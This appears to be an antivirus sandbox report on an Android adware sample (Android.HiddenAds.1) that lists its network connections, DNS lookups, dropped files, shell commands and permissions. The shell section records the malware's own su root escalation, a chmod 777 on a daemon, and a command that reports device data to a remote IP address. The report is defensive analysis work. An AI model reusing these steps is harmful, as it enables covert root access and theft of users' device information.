Technical information
Malicious functions:
Executes code of the following detected threats:
- Android.HiddenAds.1
Network activity:
Connects to:
- UDP(DNS) 8####.8.4.4:53
- TCP(HTTP/1.1) a####.u####.com.####.com:80
- TCP(TLS/1.0) 1####.194.220.95:443
- TCP(TLS/1.0) md####.google####.com:443
- TCP(TLS/1.0) android####.go####.com:443
- TCP(TLS/1.0) instant####.google####.com:443
- TCP(TLS/1.0) 74.1####.131.139:443
- TCP(TLS/1.0) 64.2####.163.95:443
- TCP(TLS/1.0) p####.google####.com:443
- TCP(TLS/1.2) 74.1####.131.139:443
- TCP(TLS/1.2) 1####.194.220.95:443
- TCP(TLS/1.2) 1####.250.150.94:443
- TCP(TLS/1.2) 64.2####.163.95:443
- TCP 64.2####.163.95:443
DNS requests:
- a####.u####.com
- android####.go####.com
- instant####.google####.com
- ll.chengh####.com
- ll.chengh####.com.####.8
- m####.go####.com
- md####.google####.com
- p####.google####.com
- reindee####.ba3.i####.####.8
- reindee####.ba3.info
- u.lb####.com
- u.lb####.com.####.8
HTTP POST requests:
- a####.u####.com.####.com/app_logs
File system changes:
Creates the following files:
- /data/dalvik-cache/####/system@framework@am.jar@classes.dex.flo...leted)
- /data/data/####/1A51E95BAB6D4EEC1758744D5012997D.xml
- /data/data/####/1A51E95BAB6D4EEC1758744D5012997D.xml.bak (deleted)
- /data/data/####/499EC2F6916049041758744D5012997D.xml
- /data/data/####/7B3AD659BE489FB5DFBB5E72A82D25CB
- /data/data/####/7B3AD659BE489FB5DFBB5E72A82D25CB-journal
- /data/data/####/B30D4109ECEB8E3D
- /data/data/####/B30D4109ECEB8E3D-journal
- /data/data/####/D0EBCF363A1C71BBDFBB5E72A82D25CB
- /data/data/####/D0EBCF363A1C71BBDFBB5E72A82D25CB-journal
- /data/data/####/E1CB26D7447A5C8F.xml
- /data/data/####/E1CB26D7447A5C8F.xml.bak
- /data/data/####/Reindeer.db
- /data/data/####/Reindeer.db-journal
- /data/data/####/Reindeer.xml
- /data/data/####/__pasys_remote_banner.tmp.jar
- /data/data/####/cr.dex
- /data/data/####/cr.dex.flock (deleted)
- /data/data/####/daemon
- /data/data/####/daemon.t
- /data/data/####/e.zip
- /data/data/####/mobclick_agent_cached_com.biganiseed.reindeer1720
- /data/data/####/n.dex
- /data/data/####/n.dex.flock (deleted)
- /data/data/####/proc_auxv
- /data/data/####/umeng_general_config.xml
- /data/data/####/umeng_general_config.xml.bak
- /data/data/####/umeng_general_config.xml.bak (deleted)
- /data/data/####/umeng_it.cache
- /data/media/####/XH.txt
- /data/media/####/com.biganiseed.reindeer
- /data/media/####/cr.zip (deleted)
- /data/media/####/d.txt
- /data/media/####/n.zip
- /data/media/####/tn.zip
Miscellaneous:
Executes the following shell scripts:
- /system/bin/dex2oat --runtime-arg -classpath --runtime-arg & --instruction-set=x86 --instruction-set-features=smp,ssse3,sse4.1,sse4.2,-avx,-avx2,-lock_add,popcnt --runtime-arg -Xrelocate --boot-image=/system/framework/boot.art --runtime-arg -Xms64m --runtime-arg -Xmx512m --instruction-set-variant=x86 --instruction-set-features=default --dex-file=/storage/emulated/0/Android/data/er/cr.zip --oat-fd=35 --oat-location=<Package Folder>/files/cr.dex --compiler-filter=speed
- /system/bin/dex2oat --runtime-arg -classpath --runtime-arg & --instruction-set=x86 --instruction-set-features=smp,ssse3,sse4.1,sse4.2,-avx,-avx2,-lock_add,popcnt --runtime-arg -Xrelocate --boot-image=/system/framework/boot.art --runtime-arg -Xms64m --runtime-arg -Xmx512m --instruction-set-variant=x86 --instruction-set-features=default --dex-file=/storage/emulated/0/Android/data/er/n.zip --oat-fd=36 --oat-location=/data/user/0/<Package>/files/n.dex --compiler-filter=speed
- /system/bin/log -p d -t su 10065 /system/bin/app_process32 executing 0 /system/bin/sh using binary /system/bin/sh : sh
- /system/bin/log -p d -t su child exited
- /system/bin/log -p d -t su client exited 0
- /system/bin/log -p d -t su connecting client 3706
- /system/bin/log -p d -t su connecting client 3814
- /system/bin/log -p d -t su connecting client 3932
- /system/bin/log -p d -t su connecting client 4029
- /system/bin/log -p d -t su connecting client 4062
- /system/bin/log -p d -t su connecting client 4063
- /system/bin/log -p d -t su connecting client 4220
- /system/bin/log -p d -t su connecting client 4334
- /system/bin/log -p d -t su db allowed
- /system/bin/log -p d -t su remote args: 1
- /system/bin/log -p d -t su remote pid: 3706
- /system/bin/log -p d -t su remote pid: 3814
- /system/bin/log -p d -t su remote pid: 3932
- /system/bin/log -p d -t su remote pid: 4029
- /system/bin/log -p d -t su remote pid: 4062
- /system/bin/log -p d -t su remote pid: 4063
- /system/bin/log -p d -t su remote pid: 4220
- /system/bin/log -p d -t su remote pid: 4334
- /system/bin/log -p d -t su remote pts_slave:
- /system/bin/log -p d -t su remote req pid: 3627
- /system/bin/log -p d -t su remote req pid: 3746
- /system/bin/log -p d -t su remote req pid: 3872
- /system/bin/log -p d -t su remote req pid: 3978
- /system/bin/log -p d -t su remote req pid: 4121
- /system/bin/log -p d -t su remote req pid: 4275
- /system/bin/log -p d -t su remote uid: 10065
- /system/bin/log -p d -t su sending code
- /system/bin/log -p d -t su starting daemon client 10065 10065
- /system/bin/log -p d -t su su invoked.
- /system/bin/log -p d -t su waiting for child exit
- /system/bin/log -p d -t su waiting for user
- /system/lib/arm/houdini /data/user/0/<Package>/files/daemon /data/user/0/<Package>/files/daemon -p <Package> -r am startservice --user 0 -n <Package>/system.moty.tools.MoServices -e key daemon -h http://52.11.99.233:7123/report/allData -m -i 4435
- chmod 777 /data/user/0/<Package>/files/daemon
- sh
- su
Uses the following algorithms to encrypt data:
- DES
- RSA-ECB-PKCS1Padding
Uses the following algorithms to decrypt data:
- DES
Uses elevated priveleges.
Gets information about network.
Gets information about phone status (number, IMEI, etc.).
Gets information about installed apps.
Adds tasks to the system scheduler.
Displays its own windows over windows of other apps.
Requests the system alert window permission.
